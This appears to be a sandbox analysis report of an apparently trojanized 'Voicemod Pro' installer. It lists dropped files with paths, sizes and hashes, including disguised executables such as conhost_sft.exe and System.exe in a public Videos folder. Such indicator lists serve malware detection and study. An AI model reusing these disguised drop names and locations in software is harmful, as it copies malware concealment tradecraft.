MD5 d20afc7e984fef3a2b2ed3dc0b4c0ef5
SHA1 484da3d185b8b87620d4d2d6b7ca4266a651bf21
SHA512 e9ab6c311f73bbbd9640be6275c66ce4bb4aa73124e46eb7a3e7a8083bc8de0c461555ea12205c6ce630aa4e783bbea6112fca700f58edb33f0c82142dad127f
SSDEEP 49152:MyZtApKhdcwQXghWdoBErsOKapebrnttB8TbXY7kIgQUue5zg2BAKy/IgQUue5zP:N/QXgh0WE/4TEb4dUuesAAKvdUues
MD5 SHA1 SHA512 SSDEEP

Submit Download

VoicemodDesktop.exe.config

Path C:\Program Files\Voicemod Desktop\VoicemodDesktop.exe.config
Size 6KB
SHA256 ae74231a8e6bd0acff9fb074427be26a73af20885cd23cfa6a636c9df4333f59
MD5 06e40dfadc011f07b0a8bcb910ca62ee
SHA1 a4574e90d61339b3eea2cfd11ed12e557f7f477f
SHA512 ae27cc72c9afdc89a5ef8bf2569284d7ca6cfbcb30a5cd4ace0da11bc79a35f47c65a5f414f84f95f8696822242d3b9718dd860413c55cfddc1cae37d8c5350a
SSDEEP 96:ctruUl3wgUDUDV+fonmUhUd4UtxrHwAf6e6Mch0Ja4krhl:srFCbkU6Dxh0E4krhl
MD5 SHA1 SHA512 SSDEEP

Submit Download

VoicemodSDK.dll

Path C:\Program Files\Voicemod Desktop\VoicemodSDK.dll
Size 5.7MB
SHA256 f0dbf3861a5cae109edef2e78fa2b9f7c4353025bad314cf3afb3fa173a4f5af
MD5 39844565ec5c8cf05d62ef399b011754
SHA1 23ba2573016c6fa7344f4d422d86a76b5216363d
SHA512 54b5a16b55491a59e6cb7f4172557efc470d6c31f503b7c8767f0ec410f128a7b98bf4191ba8176fe39f77deb6372788797f0dffbaae2041338af63eca544e0f
SSDEEP 49152:lzegduBoC9YsxKWLZDxXDuur/tS2DobPsQVZ6fEUAPrdudcpo42JKsDxi3EjDoxi:VzUtFpaP/zU+0g2HDE3EjErToZDH3
MD5 SHA1 SHA512 SSDEEP

Submit Download

VoicemodSDK.dll

Path C:\Program Files\Voicemod Desktop\VoicemodSDK.dll
Size 2.3MB
SHA256 a64659ddac404fecbbdc0ea74f335f80afd8ffb01e00f8c56d335674c413a0e6
MD5 dc8122a812179537c81f196d7ca11c2a
SHA1 7dc8f9fba472a4f86da03313584982bf586ed288
SHA512 879d4951bd412c91f8b4ea4248adbb922e249c9b86ee606b354ef1a7b84441d11968b1ea2e691df73b8124da66becc8111e7b312c02a6dd3dc7b4826bcb2afa4
SSDEEP 49152:lzegduBoC9YsxKWLZDxXDuur/tS2DobPsQVZ6r:VzUtFpaP/zi
MD5 SHA1 SHA512 SSDEEP

Submit Download

SaveDefaultDevices.exe

Path C:\Program Files\Voicemod Desktop\driver\SaveDefaultDevices.exe
Size 149KB
SHA256 663e5b184648639cbcf353ddaeec6688abe323dbccf8de8fc8d2683f5e1a99cb
MD5 ce0e059d4365c22f6f8cc1ce04ff5418
SHA1 09eff27e69a3e4d3cc8bef9e93fe6ae7e20447c8
SHA512 c8c9ff1fcb172bdbf90d598b2cf0c5f0dab31132b8633540a162ec0c299861d64f36bb805da7dca5b4a4ac96c74fc420303235cbc780f09a2c2aad5b7de724ff
SSDEEP 3072:BJjPqDhLB86VjnZLc2zRXGNG09i+zWism0Tsxvg+2YcTMgn3ap:XjP6S6pnZYCSG8Ymwsxvy/6
MD5 SHA1 SHA512 SSDEEP

Submit Download

setupDrv.bat

Path C:\Program Files\Voicemod Desktop\driver\setupDrv.bat
Size 230B
SHA256 9387039a0be348be9d99989c6f60ded8760c76c5316692dc880b486859ae792d
MD5 e6bdf4edaca31d8f5f5d8fab141e1bf4
SHA1 b67c41d0170c246a2b01dd2e6b280c147e98419e
SHA512 f3b62c78982e7c7ab0d9c04db18642f43e289cda8bacf454df5749b1371d444bb44f57f65931f39a8075c491cb88e3c96b83a3c3a271eb67a9f427c649787c8d
MD5 SHA1 SHA512

Submit Download

uninstalldriver.bat

Path C:\Program Files\Voicemod Desktop\driver\uninstalldriver.bat
Size 1KB
SHA256 d0cdbdb5be2be15f77861b6e08aa553d9e8580c224ef0f63e55064f415fc16f0
MD5 a6261c36b1eb262f18c98e520966c329
SHA1 be1f1a0bdcc2f26bc41599b257f2b4c95a1a87a1
SHA512 06da998b9778148e15065b67ea6ffadd6df7babf6b1b435368e6c7b6e91d3506d3c3498140cd8b950e207d97c78a899e567b4fbf462d07f7ad473a878ea45fec
MD5 SHA1 SHA512

Submit Download

vmdrv.inf

Path C:\Program Files\Voicemod Desktop\driver\vmdrv.inf
Size 4KB
SHA256 f853d5b0a5dd5cbe1da2ffaae285080019f9e60cf4e4ab7d9810f5be40f362f1
MD5 b9b68ddad77911e85697af02b6e311b5
SHA1 999c26f4e20fd29abb0404c9b5bfad4fb2664d2d
SHA512 40e0307e787c8498ffc0922d190973b1634621bbefc2a89feaad1b4d68797f9e55c1cf55e5112a0a8d13ee37fa2ed18a33248c95e4298471e2f7cb3f6359c874
SSDEEP 96:Mq4dTjH+HG52dquPPl4yjr2KQ5MFgWCrI1v:Mq4tKHG5pWPl4yjr2K284I1v
MD5 SHA1 SHA512 SSDEEP

Submit Download

voicemodcon.exe

Path C:\Program Files\Voicemod Desktop\driver\voicemodcon.exe
Size 206KB
SHA256 98ea0aa12cf1a2b0b7337bcdb6fef41ca35f83248e29b6072fb15f3c180232b4
MD5 afc1465481d73483af98d1e78419ff02
SHA1 7fdea1d99110007a5e560ea7b43ba0dec735f908
SHA512 6b4c9142298a91f65338ce68edd66aceb1a3e7a5ef4d87969064cf49828cfbf8bfb3e0a226fd13bddb933d49d7aca9fd0a9f6cd048505cf5ba2abd4b871b93ec
SSDEEP 3072:20oq7iBRYSvSnGKkV3r/kUx9yESWVIyF4DLUxtX1XW2:20pSWTE7/kUxlXxB1B
MD5 SHA1 SHA512 SSDEEP

Submit Download

voicemodcon.exe

Path C:\Program Files\Voicemod Desktop\driver\voicemodcon.exe
Size 145KB
SHA256 ed9f68c6da034a87bf924e3a91ee78aa0092f8d97cd687b3be9f4f00a98fb821
MD5 2649e3f91d2f3460c9dafa5237663230
SHA1 b807374dc0c245e4f973ded35df003b7ceb641f7
SHA512 ddeaa3bda4a7f3a375b4a972583fe84116880f109cc58aaf2de6d6f9524cdb6f6bb9f20414463fb1d595897f785a51033414758a9ed9f3fe7f9c514d0a8ebd49
SSDEEP 3072:20oq7iBRYSvSnGKkV3r/kUx9yESWVIyF4DLUh:20pSWTE7/kUxlXh
MD5 SHA1 SHA512 SSDEEP

Submit Download

data_1

Path C:\Users\Admin\AppData\Local\CefSharp\Cache\GPUCache\data_1
Size 264KB
SHA256 b1e963d702392fb7224786e7d56d43973e9b9efd1b89c17814d7c558ffc0cdec
MD5 f50f89a0a91564d0b8a211f8921aa7de
SHA1 112403a17dd69d5b9018b8cede023cb3b54eab7d
SHA512 bf8cda48cf1ec4e73f0dd1d4fa5562af1836120214edb74957430cd3e4a2783e801fa3f4ed2afb375257caeed4abe958265237d6e0aacf35a9ede7a2e8898d58
SSDEEP 3:MsEllllkEthXllkl2zE:/M/xT02z
MD5 SHA1 SHA512 SSDEEP

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 85b280a39fc31ba1e15fb06102a05b8405ff3b82feb181d4170f04e466dd647c
MD5 627073ee3ca9676911bee35548eff2b8
SHA1 4c4b68c65e2cab9864b51167d710aa29ebdcff2e
SHA512 3c5f6c03e253b83c57e8d6f0334187dbdcdf4fa549eecd36cbc1322dca6d3ca891dc6a019c49ec2eafb88f82d0434299c31e4dfaab123acb42e0546218f311fb
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 944B
SHA256 0ee052d5333fd5fd86bc84856fec98e045f077a7ac8051651bf7c521b9706888
MD5 1a9fa92a4f2e2ec9e244d43a6a4f8fb9
SHA1 9910190edfaccece1dfcc1d92e357772f5dae8f7
SHA512 5d2361476fa22200e6f83883efe7dcb8c3fe7dae8d56e04e28a36e9ae1270c327b6aa161d92b239593da7661289d002c574446ecfd6bd19928209aae25e3ef64
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 944B
SHA256 75fab4b59d3340da36c26678b271939175aed633c3f988f5f44c5634a4f0fff3
MD5 05c6846bbca7b01c6f834b5f37da43b7
SHA1 e88c19451c20bb658df2ad4e14a21d2290e28f9b
SHA512 48091404c6136e24aaf9488592d935ec0a4a40997a549aacec96c58ff49ee4c1262eabd354dbd194f3bbaa565d23165499ca22293fda4d0b3c7a6f5e87cc7783
MD5 SHA1 SHA512

Submit Download

SearchHoverUnifiedTileModelCache.dat

Path C:\Users\Admin\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TempState\SearchHoverUnifiedTileModelCache.dat
Size 10KB
SHA256 664407fbfc1e1598355ccd822fbc5fe259f92d48e68eb81dad3dd81b33d1563b
MD5 201df2af40c67cec53ff6f87f2f425e0
SHA1 218d83a9daf4270e74bc8243708143d64ccdd041
SHA512 4cc98bcbb0d3bc53709fc96bf25cbd19f538541ef3b972c2a2578c8235cbfde8eed649c80c110971664a6a8e03ba9cd76e5b04b036ce8adf8286d6a1c565a673
SSDEEP 192:KJn49siyi7vi12YJrVkp1NDuWAksz2ZUhmkspSRRPQRe1xjJVjeQ8RJo1NuJNIhr:KJkq12krVuJCpmXmlJVjeQ8RJo9J
MD5 SHA1 SHA512 SSDEEP

Submit Download

SearchHoverUnifiedTileModelCache.dat

Path C:\Users\Admin\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TempState\SearchHoverUnifiedTileModelCache.dat
Size 10KB
SHA256 0b643c95e32e8cb6c8ad9a28231243f3d028db10560130aabe10cd65c62dace7
MD5 d3c1574e06e9c0ed4ddfecf7eda00476
SHA1 e90dcb7eeb77fdeee2883c9c99fea03c50f80eca
SHA512 06a7e8fa4859fd6902e842760ab1be755247ced2cb5d5b92fda7e25483749d2a65acc7ada0dd351c943711eef033f152137aafc18b5283bf3c310737b8b7077b
SSDEEP 192:VJn49siyi7vi12YJrVkp1NDuWAksz2ZUhmkspSRRPQRe1xjJVjeQ8RJo1nuJNIhr:VJkq12krVuJCpmXmlJVjeQ8RJoPJ
MD5 SHA1 SHA512 SSDEEP

Submit Download

VoicemodUpdate_2.48.0.0.exe

Path C:\Users\Admin\AppData\Local\Temp\VoicemodUpdate_2.48.0.0.exe
Size 420KB
SHA256 bee983950c1a3dd0524edf76ccdc4eea7132500ca1532359befc90cdba452af7
MD5 6cc3e8d78b4c25df9ccbcb0239f4e8df
SHA1 e8a539a028158cef6fb0db4b47ad82d66377cec6
SHA512 532a562d90262fa905826648e6957ba06424c7eac968b2d051850e62b578e8987e65f72a800f0efd5887b806491ca47128646bed7819bf4cc3ceb1ba1fdb63ed
SSDEEP 6144:YubstlZ1AGfE14/olbG85ym6S8dxhc0rTK72q2SIXyB7apkRvgvqNrCH:Y3N5fEsP85ymr81c0r+Bv4
MD5 SHA1 SHA512 SSDEEP

Submit Download

__PSScriptPolicyTest_c1a4syqf.bop.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_c1a4syqf.bop.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

idp.dll

Path C:\Users\Admin\AppData\Local\Temp\is-4CT09.tmp\idp.dll
Size 157KB
SHA256 1ebc1c2036307968c9384403fd8f8b53182631e03178e48311978eb4fb36ade7
MD5 f2205e408218d530e681d8507f383148
SHA1 a44c5ac7e27e96238293c788dae465dae46cc2aa
SHA512 7b727fb672f33467436beead9783c9bedf31c02a0088ffbc5d80ff0aaff46ec14d6b9ea4834efc43205ee95c01c794bcf3c5f9df66b5035c1fd2bf8022535f38
SSDEEP 3072:dnSx3lws+iWbUmJmE8dxMw7r+mjT5PbzEFwyGO:IP0bUmQEUr+mRcbv
MD5 SHA1 SHA512 SSDEEP

Submit Download

VoicemodSetup_2.6.0.7.tmp

Path C:\Users\Admin\AppData\Local\Temp\is-G58UF.tmp\VoicemodSetup_2.6.0.7.tmp
Size 2.5MB
SHA256 498cfe20132fe22e726b0fb8c5d6bd6153cc73416567148ab469f78820bc6b60
MD5 3b93628e07e9a9352cb7ea41c59ef578
SHA1 48615d4428539e9f0af70153656f3e8ae4e2589c
SHA512 fa180bc3c80220c641d445daa82ca4b195dd4c716e3c9e596546bdb3100e0e3fd8e306d0b88c1cf01ab5fe4ef984965d883605e3ef05540767b819157cdb55c2
SSDEEP 49152:P/bMELtKnwSaPuqrUJlORnUjzV8VkLwk:PjMzVPeVC
MD5 SHA1 SHA512 SSDEEP

Submit Download

bg-bottom.png

Path C:\Users\Admin\AppData\Local\Temp\is-GEQ6B.tmp\bg-bottom.png
Size 9KB
SHA256 9b86e47b5b3972b1de9d55b53caed3538f7179ddfbc79fca35ce9f30c354c6aa
MD5 495e1b72f1318b9abd18396170a8b73b
SHA1 1f75098efccea494cd6bd1241eca02a9996fcf2f
SHA512 eaa474168ba803b326961ec89a17dedcbec470cc8b412a1206bfd71cb02b6c031fbb3af9ca1e218e19f7780e5b39d36ecfbcc02a3dc71e13cfc8712546f99351
SSDEEP 192:Y4iV54MaclgELK2srxkmVFOCsoDP3cFAe/lyL0laBpllPStdE:Yd8li9OrxkmVJsbkXpTPUdE
MD5 SHA1 SHA512 SSDEEP

Submit Download

bg-inner.png

Path C:\Users\Admin\AppData\Local\Temp\is-GEQ6B.tmp\bg-inner.png
Size 964B
SHA256 f3640a78436c8f83c8b055c74da597e239524201df4ae6db52a3141a1a47699a
MD5 4a1378ccbcbcf4a320bfc4d63aabef36
SHA1 8f17dc3df0a7310ab4a3914a81b7f5576e5546a5
SHA512 6800224d90fb8c00f31b51a485b90ce0fbc26aea993484a148981d9ef41ee0ff712d43816c1f8ef8b511165de70683ad98202baf27d1a7fb9f31aa88ff17836e
MD5 SHA1 SHA512

Submit Download

bg-top.png

Path C:\Users\Admin\AppData\Local\Temp\is-GEQ6B.tmp\bg-top.png
Size 51KB
SHA256 acb21fcb80667714749963e8ce2e24b23e3f269de34d8e1734892777cbca2f7e
MD5 229152b01d238ac58d066bbdd45219bf
SHA1 b47d2070eb77d723f925f36c902c6cefd5bb1c31
SHA512 fcf37ba7ae4929d77039b0d90f87cf6523bc7bc4f81ca27c1057f53d93752f0d9603708afaf3e8f460a0e5e67210c8d1eeb44cf95b07919a67a37805b0d63b30
SSDEEP 1536:F8VRVNgW1nKpSx9zcLwV+MKzMYFIcG+n9I:WTnDjcLwV+b1FJ9I
MD5 SHA1 SHA512 SSDEEP

Submit Download

botva2.dll

Path C:\Users\Admin\AppData\Local\Temp\is-GEQ6B.tmp\botva2.dll
Size 35KB
SHA256 a4b61626a1626fdabec794e4f323484aa0644baa1c905a5dcf785dc34564f008
MD5 0177746573eed407f8dca8a9e441aa49
SHA1 6b462adf78059d26cbc56b3311e3b97fcb8d05f7
SHA512 d4ac96da2d72e121d1d63d64e78bcea155d62af828324b81889a3cd3928ceeb12f7a22e87e264e34498d100b57cdd3735d2ab2316e1a3bf7fa099ddb75c5071a
SSDEEP 768:Aoi9qZO9Q4rAJa4debLTMkUuzXIu53w4eGlV:Av9qZMQVGLyu5r3V
MD5 SHA1 SHA512 SSDEEP

Submit Download

buttons.png

Path C:\Users\Admin\AppData\Local\Temp\is-GEQ6B.tmp\buttons.png
Size 7KB
SHA256 ed4b81ffc92f6d41c5d4925f0ac83cd280ad1a781a966d2128275c804f6aa5de
MD5 84d27be69f0f13909dab87c1cb270a29
SHA1 cb3a480bf9d790342e12775b4d50c350475f3bb5
SHA512 290ebef8f3930ffdb0b99df9a99bd419ff591bd83acdb9b49b421a36d920298a05ad8e85dfa7e9e5de8fe9864780eff2af1e85aa5e3fc8b3ce88f074b87bf51a
SSDEEP 96:A9lcd+5H4+aEwkH5ARDedQ/kkW2sarBi192T2w6OAHsPHiZMNGBXT9Gz+SQWF:Qig5HHyRKdAk7MToSQWF
MD5 SHA1 SHA512 SSDEEP

Submit Download

deviceId.txt

Path C:\Users\Admin\AppData\Local\Temp\is-GEQ6B.tmp\deviceId.txt
Size 36B
SHA256 942d497057c35bcc8ad86dce3436676ef97543fce691c3f7a28331c368ad7d6b
MD5 ff6c47b9df8d61e5a2328195b6b642ae
SHA1 5455f84c4f38d463dc6eb2ea984406defc71447c
SHA512 0aff74f176c589b3e5edefc439da6725dd786a2f129c9cc17ba6ef080b431b1ad0f1c30039246d17859093db0f4da14ebdc5badbb8d834ed2c24b86605da0e88
MD5 SHA1 SHA512

Submit Download

idp.dll

Path C:\Users\Admin\AppData\Local\Temp\is-GEQ6B.tmp\idp.dll
Size 232KB
SHA256 54e7e0ad32a22b775131a6288f083ed3286a9a436941377fc20f85dd9ad983ed
MD5 55c310c0319260d798757557ab3bf636
SHA1 0892eb7ed31d8bb20a56c6835990749011a2d8de
SHA512 e0082109737097658677d7963cbf28d412dca3fa8f5812c2567e53849336ce45ebae2c0430df74bfe16c0f3eebb46961bc1a10f32ca7947692a900162128ae57
SSDEEP 3072:dnSx3lws+iWbUmJmE8dxMw7r+mjT5PbzEFwyGIyTcHY10tSB9j:IP0bUmQEUr+mRcbTx4N
MD5 SHA1 SHA512 SSDEEP

Submit Download

tasklist_VoicemodDesktop.exe.txt

Path C:\Users\Admin\AppData\Local\Temp\tasklist_VoicemodDesktop.exe.txt
Size 6KB
SHA256 b8d8a28f1a7fe760224b705cb2d39c96c29cd404221e540d643fb7a75d743313
MD5 5dbcf95256897cc499c2825ae0c3dc91
SHA1 3ad9e09565fc41c8025f356315edd229228aec73
SHA512 076e39ea6a5907a2863b9769726e8f185134ce796655d7a67fb4df51567d44985b531e922d2eca32e8f00cb72d687a00fccdc83e19ef1a96350856da51a74af0
SSDEEP 192:yLlYPhPQXiOG+nc/58t+n8jiZudWM5vHpxKW+Dg0JfSlcnV4IHRT2g2PDU3J2lrC:y5YPhPQXiOG+nc/58t+n8jiZudWM5vJs
MD5 SHA1 SHA512 SSDEEP

Submit Download

tasklist_unins000.exe.txt

Path C:\Users\Admin\AppData\Local\Temp\tasklist_unins000.exe.txt
Size 6KB
SHA256 551db28bc200a50ef7898ee84b5735fc40f5ff6c388bb49a6eaacaf8ce258b75
MD5 bc4a3f08ed7639e37377ba44d3a049fa
SHA1 a8b984edce6f80c3a9d6b431bc26dbaca339a558
SHA512 e4b20cdb105add2f67e5e3e4ac9f794e4990840042ee0148fa8388acc967acfda75d5997e1b51142df53427e3ebc086d62506c5a6dfdb814d6360e176761c4dc
SSDEEP 192:yLlYPhPQXiOS+nc/y8O+n8jiZudWM5vHpxKW+Dg0JfSlcnV4lHRT3g2PDUTJ2lr9:y5YPhPQXiOS+nc/y8O+n8jiZudWM5vJ3
MD5 SHA1 SHA512 SSDEEP

Submit Download

vmdrv.sys

Path C:\Users\Admin\AppData\Local\Temp\{69a37706-653f-6142-955d-e343da9d1c98}\vmdrv.sys
Size 47KB
SHA256 d884ca8cc4ef1826ca3ab03eb3c2d8f356ba25f2d20db0a7d9fc251c565be7f3
MD5 0e625b7a7c3f75524e307b160f8db337
SHA1 5088c71a740ef7c4156dcaa31e543052fe226e1c
SHA512 0ad805d11413dcc9d3c549b94a3644fc9c9caa23f0a661c9aef41c1e6f8d91de784817668ff4f34b3f50d738aa8097b2a0ee38de078ed97f5c17635533e9e165
SSDEEP 768:BzQVK9V2/1j3gGNo+W20t0P/ERwr2kXjNUf2h6p33JWlJB:BsVKK3g+pWztScRwpZUf5t+JB
MD5 SHA1 SHA512 SSDEEP

Submit Download

voicemod.db

Path C:\Users\Admin\AppData\Local\Voicemod\settings\voicemod.db
Size 28KB
SHA256 dcfbe734fe9387e195165bb5f488e35d9d0e0df5901898656b8f37a282aa0b2a
MD5 e26015e23b0fbf8597deca83b65e4c14
SHA1 348fb76389e49f2aeec3993907a83ff6bd6f6bfe
SHA512 97e646e94357d1f418a0debd19e30ca150c0acf1cc61536f02766c827c3a1b1b6484936fcd796443cc401cf5f1afa4f59fde3cb5918e179e3bd7753acdb34d70
SSDEEP 768:u20zAlDuH2l20zAlUS6K00zAlfuH2/206HXWY:u20zYDuWl20zYUJ0zYfuW/2063WY
MD5 SHA1 SHA512 SSDEEP

Submit Download

vmlog.txt

Path C:\Users\Admin\AppData\Local\Voicemod\vmlog.txt
Size 6KB
SHA256 d4085d08717b0eaded6ce631d7aef6a915359311ce30f1b3d14d70d586996870
MD5 32b0564a5313ee3ba5ba10354fb18056
SHA1 77d990ac7107f30a5f6dcd99c384ba77ef7fb3b1
SHA512 f135e6bec92846b42b83dd90fd171d5da5b55c17b4acbe0adf171b6529c42d4d2913be6c7999d97f8b90f0c3f7557d0efa6704fa6687d40f90e022ec66146d7a
SSDEEP 96:fqdqbzI/tStJb8Dac5c4ckcy+cyRcvF1zD:iEb8sm1Fd
MD5 SHA1 SHA512 SSDEEP

Submit Download

VoicemodSetup_2.6.0.7.exe

Path C:\Users\Admin\AppData\Roaming\VoicemodSetup_2.6.0.7.exe
Size 1.5MB
SHA256 65d2d763bdbeaee6702ee1f7ceca9796d3f7257400e1f70d3452cddd8cc67c34
MD5 76de09d4c930ffd125553ba471ed7194
SHA1 77a4ed2b11d28eb61fa83b9f3b4dc2b76d907d4f
SHA512 a89a26cc54fff84b2b6a99878f740c63b63ab5af3d39028ae4d0739b27163a6b581ab531562b534842caf91758642b53943e2b7b43eff52573343ad0eb779bd3
SSDEEP 24576:PTfEsP85DgJrivY05+Qaso9V0++SUhuZSa5AvSyl1kb1ulHq6ec5fJaDcg9bzoc:7csQ6QJ+1Uh6evS0124lHkC8Dcgtzn
MD5 SHA1 SHA512 SSDEEP

Submit Download

VoicemodSetup_2.6.0.7.exe

Path C:\Users\Admin\AppData\Roaming\VoicemodSetup_2.6.0.7.exe
Size 5.6MB
SHA256 5637a5c592a957d7d67f3113eb9c69a28a6805646ed7d3dedd18ffedc491671b
MD5 d6d1ae2d03520b7832407a2cfb7ffcd7
SHA1 f536af6c647062b4335e946edfa196d2ba43fd2b
SHA512 1c23c5e3c2a83d740c191e556234ff88235830104d4d5394c5411a0317dcb9ca234d256f1d0627f8e8ed85c5a2f7debc15d61cea20b5e3d2d8185cd1903add39
SSDEEP 98304:71QTXoM524lEWyf/278WqYrlbxGE+pzl6sHLu7dR1q1lGjfRf2:R/4lEWG08ZYrlbkEi7uVqA5f2
MD5 SHA1 SHA512 SSDEEP

Submit Download

VoicemodSetup_2.6.0.7.exe

Path C:\Users\Admin\AppData\Roaming\VoicemodSetup_2.6.0.7.exe
Size 5.4MB
SHA256 6e25eec81448bdad18c2110c27b9414523f84d420c8124978517e196703a08b0
MD5 76e45f448cdaf8243d6ab07cdfd3b3f7
SHA1 dce8d032bd8e1d64a7cc081e0c965d31bb827d32
SHA512 2a702f068dcbd7d47eefeee57c094335a1c128438e771adcf043667e70985ca107980114cf9d368e2238e789477e0f7a118c77e7fbd48e9f3debfd14fe00951c
SSDEEP 98304:71QTXoM524lEWyf/278WqYrlbxGE+pzl6sHLu7dR1q1lGjfRO:R/4lEWG08ZYrlbkEi7uVqA5O
MD5 SHA1 SHA512 SSDEEP

Submit Download

conhost_sft.exe

Path C:\Users\Admin\AppData\Roaming\conhost_sft.exe
Size 2.0MB
SHA256 0ad18a6d79382bb1613e4a7bdd9eb3e91f290ea22e7eb2b51175af7d08b755f7
MD5 d1962a15a6c020c817f62ff29755d670
SHA1 6ed90dca7439462d08347361ad2c7457bc5e0e3f
SHA512 e5e62847b17088b77e2f9699b97be00dc7f675ce56da5873491089250d4deba2e80aefde71dfce583c6fc089a1bfc596b1f6b7be3efa7050be8b29d03f7e90e4
SSDEEP 49152:ZN6ZKfNCskwrObAeqkqBlqzthITx/iemqnEqJLWWnQercl6rEun6Bd:ZAZKfNnkwSxqkqBlqRul6emqnEq/nrr0
MD5 SHA1 SHA512 SSDEEP

Submit Download

conhost_sft.exe

Path C:\Users\Admin\AppData\Roaming\conhost_sft.exe
Size 1.9MB
SHA256 68bcd4b5d0e2fc242c88a6b607f1fc993aa2335d78c8b2bf2c611c8ad842f357
MD5 5a1d753dfb8b037868605801f6f2b209
SHA1 1a43279deb2c13ebcec3bde025383c83922d6dc3
SHA512 d80a6d8ac2edf6e05773ae843f9da5b9122970dd69e4739b6e92954bc95c4394cbb3023aaf15dc98828ccd4b0cb8391e670bf2991525df94c85f65d285a7fbbe
SSDEEP 49152:ZN6ZKfNCskwrObAeqkqBlqzthITx/iemqnEqJLWWnQercl6rEun6:ZAZKfNnkwSxqkqBlqRul6emqnEq/nrri
MD5 SHA1 SHA512 SSDEEP

Submit Download

conhost_sft.exe

Path C:\Users\Admin\AppData\Roaming\conhost_sft.exe
Size 1.8MB
SHA256 0e4977081ff66449ac6ff21dc1da872506b978493f0acc1177bfb7946a4609f3
MD5 0d9f0fac63d559c00494b2837783443e
SHA1 fa0a7c62157669e65cdffa61248468722481729e
SHA512 1d8fa227ee422e0b65d4c6f3567e5e4db5beb730c968b883e7aa557699e0531b3309fb3985911f3e5a713482f93344b039a8d9f742a74b655fbe7fad7785025a
SSDEEP 49152:ZN6ZKfNCskwrObAeqkqBlqzthITx/iemqnEqJLWWnQerclj:ZAZKfNnkwSxqkqBlqRul6emqnEq/nrr8
MD5 SHA1 SHA512 SSDEEP

Submit Download

vm_fontreviewmonitordllrefsvc.exe

Path C:\Users\Admin\AppData\Roaming\vm_fontreviewmonitordllrefsvc.exe
Size 844KB
SHA256 1fee84b3fbb5cb83089c4447e58b024ba16345f7444013aaac73aa1e18d559b7
MD5 5e71a43020b66d1e5ad0778bc4d3a5e3
SHA1 3974a7aca01d23acf07d06ab48d39b09904b3c3e
SHA512 4249217fd8a38a58691fd6c9ed420a9d1a8c2a3dde263b284359ec2358b54c7670f89feab79dcea4ee9ce57af4d2fb03253028d71104a7afbbe8502a57772d7d
SSDEEP 24576:lpwBduJmYJuYVLzfoPmv3AgF7P45JUDp6I5nxGfnEnQJMja:lsEsEnMn
MD5 SHA1 SHA512 SSDEEP

Submit Download

VoicemodSetup 2.6.0.7.exe

Path C:\Users\Admin\Downloads\Voicemod Pro 2.6.0.7\VoicemodSetup 2.6.0.7.exe
Size 45.4MB
SHA256 62832cf888c9e44770fad97ebe128c824d4218d3d5b608e0e0c400bb3f89f33d
MD5 0378f86eb3fcf63ca44cdd91d94ce78e
SHA1 5ada18fd698dea512d8b280ec66996706b9e7e70
SHA512 ebdb6d88900292742ad62270a66658ebd8b691355e8733e20d5360ab87e3e75881dfe53767139f9bb695ed507681f385670ca6b12e8ee5e2b9b7ce2c758860cc
SSDEEP 786432:PKYTglV1aN7qxwMxCeDqV1eXq2/zRrUsv1mLHuPfZ+zTFPVMvFhvOvpmtiR:PbslzaN7mw63uS6az9UIauPfZ+zTFPVT
MD5 SHA1 SHA512 SSDEEP

Submit Download

VoicemodSetup 2.6.0.7.exe

Path C:\Users\Admin\Downloads\Voicemod Pro 2.6.0.7\VoicemodSetup 2.6.0.7.exe
Size 47.1MB
SHA256 0cd0101953800b06e0eb1a50ed2493e1ebb1ea29ccb4d0aee251b40dc0838f2b
MD5 0b23ef02a221414ba2be7b7256319bf6
SHA1 b086fb47ac340db45805807669a475bc93ba245f
SHA512 d0437a2b3c44600cce6c1986a515c0e9bb71478f0a93bb4a03849471c9c719a8a56fe244f60b157fe9d5c6cc3838cecc68e6c2f803a46c9f5bc6e20d555be19d
SSDEEP 786432:PKYTglV1aN7qxwMxCeDqV1eXq2/zRrUsv1mLHuPfZ+zTFPVMvFhvOvpmtiYBs:PbslzaN7mw63uS6az9UIauPfZ+zTFPV7
MD5 SHA1 SHA512 SSDEEP

Submit Download

System.exe

Path C:\Users\Public\Videos\System.exe
Size 448KB
SHA256 eeaa7b3fe8067e36eb9fcca9620a28a9e8d8db4d8c31b8a576740a4f47854efb
MD5 ddf0445fd40d1543ecf1615e5f8f2f4e
SHA1 a90ece6f2d261ae37631f532d18a60e90745a82f
SHA512 d30070a126d10b56459a1207f8c84d910a8c1a6c82b76aa4dbf45a1e7947050e58a17a0bfd467503322437e6962baf957ca57721c5265007c776f2287104ebe3
SSDEEP 12288:KAx/wFxWWduJmYJuYVLzfoPmv3AgF7P45JpyDp6I+MkDCiGIGc0vrJqIGZ:lpwBduJmYJuYVLzfoPmv3AgF7P45JUDe
MD5 SHA1 SHA512 SSDEEP

Submit Download

System.exe

Path C:\Users\Public\Videos\System.exe
Size 576KB
SHA256 436006c6b3be8663e52dad02b97002fffb3d70b5070a6666c716d49371f05c16
MD5 6f7a04924638025a9b144425e7f8269d
SHA1 2f042aa9054afb7e547cfab59df69dd2bf8b6a69
SHA512 9c7e0d1faed7c3306912d0a33c531af33bbc9250e63aa1cdb78956dccb5f9a9a4d90f0340f046c1253147eed6fec669391c328e3cc915e2fd3ee1521dc068970
SSDEEP 12288:KAx/wFxWWduJmYJuYVLzfoPmv3AgF7P45JpyDp6I+MkDCiGIGc0vrJqIGf/fh:lpwBduJmYJuYVLzfoPmv3AgF7P45JUDq
MD5 SHA1 SHA512 SSDEEP

Submit Download

powershell.exe.log

